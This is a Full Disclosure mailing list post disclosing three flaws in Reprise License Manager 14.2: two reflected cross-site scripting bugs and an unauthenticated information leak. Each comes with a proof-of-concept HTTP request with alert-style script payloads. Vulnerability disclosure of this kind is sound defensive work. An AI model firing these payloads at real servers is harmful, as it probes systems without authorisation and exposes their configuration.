



Site Search



[Full Disclosure](#) mailing list archives



◀ [By Date](#) ▶ ◀ [By Thread](#) ▶

List Archive Search



Multiple Vulnerabilities in Reprise License Manager 14.2

From: Gionathan Reale via Fulldisclosure <fulldisclosure () seclists org>

Date: Wed, 6 Apr 2022 21:39:02 +0200 (CEST)

Multiple Vulnerabilities in Reprise License Manager 14.2

Credit: Giulia Melotti Garibaldi

////////////////////////////////////
////////////////////////////////////
////////////////////////////////////
////////////////////////////////////

```
# Product:   RLM 14.2
# Vendor:    Reprise Software
# CVE ID:     CVE-2022-28363
# Vulnerability Title: Reflected Cross-Site Scripting
# Severity:  Medium
# Author(s): Giulia Melotti Garibaldi
# Date:      2022-03-29
#
```

#####

Introduction:

Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process "username" parameter via GET. No authentication is required.

Vulnerability PoC:

GET

http://HOST:5054/goform/login_process?username=admin<script>alert("1")</script>

<script>alert("1")</script>&password=admin&ok=LOGIN

HTTP/1.1

Host: HOST:5054

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Origin: <http://HOST:5054>

Connection: keep-alive
Referer: http://HOST:5054/goform/login_process

//
//
//

Product: RLM 14.2
Vendor: Reprise Software
CVE ID: CVE-2022-28364
Vulnerability Title: Authenticated Reflected Cross-Site Scripting
Severity: Low
Author(s): Giulia Melotti Garibaldi
Date: 2022-03-29
#

#####

Introduction:

Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the
/goform/rlmswitchr_process "file" parameter via GET. Authentication is required.

Vulnerability PoC:

GET [http://HOST:5054/goform/rlmswitchr_process?file=<script>alert\("1"\)</script>](http://HOST:5054/goform/rlmswitchr_process?file=<script>alert('1')</script>) HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: <http://HOST:5054>
Connection: keep-alive
Referer: <http://HOST:5054/goforms/rlmswitchr>
Cookie: REDACTED

//
//
//

Product: RLM 14.2
Vendor: Reprise Software
CVE ID: CVE-2022-28365
Vulnerability Title: Unauthenticated Information Disclosure
Severity: Low
Author(s): Giulia Melotti Garibaldi
Date: 2022-03-29
#

#####

Introduction:

Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to
/goforms/rlminfo. No authentication is required.
The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.

Vulnerability PoC:

GET <http://HOST:5054/goforms/rlminfo> HTTP/1.1
Host: HOST:5054

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Content-Length: 0

//
//
//

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <https://seclists.org/fulldisclosure/>

[↩ By Date ↪](#) [↩ By Thread ↪](#)

Current thread:

Multiple Vulnerabilities in Reprise License Manager 14.2 *Gionathan Reale via Fulldisclosure (Apr 07)*

Site Search

Nmap Security Scanner	Npcap packet capture	Security Lists	Security Tools	About
Ref Guide	User's Guide	Nmap Announce	Vuln scanners	About/Contact
Install Guide	API docs	Nmap Dev	Password audit	Privacy
Docs	Download	Full Disclosure	Web scanners	Advertising
Download	Npcap OEM	Open Source Security	Wireless	Nmap Public Source License
Nmap OEM		BreachExchange	Exploitation	

